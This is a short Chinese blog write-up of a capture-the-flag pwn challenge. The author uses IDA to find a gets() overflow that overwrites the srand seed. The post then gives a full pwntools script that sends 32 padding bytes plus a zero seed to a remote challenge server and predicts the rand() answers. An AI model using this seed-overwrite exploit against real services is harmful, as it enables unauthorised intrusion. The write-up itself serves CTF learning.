pwn -----gets 漏洞的利用

其实做pwn题是有一段时间了  但是因为复习以及学习驱动 所以没有什么时间写博客  然后这一次写一个pwn的题 

这个题 还是很简单的 

 

pwn -----gets 漏洞的利用_第1张图片

先用ida 看一下 发现了 我们这个题 有明显的利用漏洞 gets  然后 我们发现了  有srand 是要确定随机种子 那么 如果 我们 把这个种子 给覆盖掉  那么我们就可以 算出随机数 直接 得到flag  

在 调试下 发现了  pwn -----gets 漏洞的利用_第2张图片

然后输入了 33个 1  发现种子(地址是00007FFC1A24E230)

pwn -----gets 漏洞的利用_第3张图片

成功被覆盖成1  那么就很好说了 

我们直接  32*a +自己想要的种子  就可以了 

写出 exp

#coding=utf-8
from pwn import*
from ctypes import*
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#io=process('/home/pipixia/桌面/level2' )
io=remote('111.198.29.45','32393')
p='a'*0x20+p64(0)
io.sendlineafter("name:",p)
libc.srand(0)
for i in range(10):
   io.sendlineafter("number:",str(libc.rand()%6+1))

print io.recv()
print io.recv()

然后我一直不知道怎么用python来写rand 现在知道了 还要调用外部的库。。。。

你可能感兴趣的:(栈溢出,堆溢出)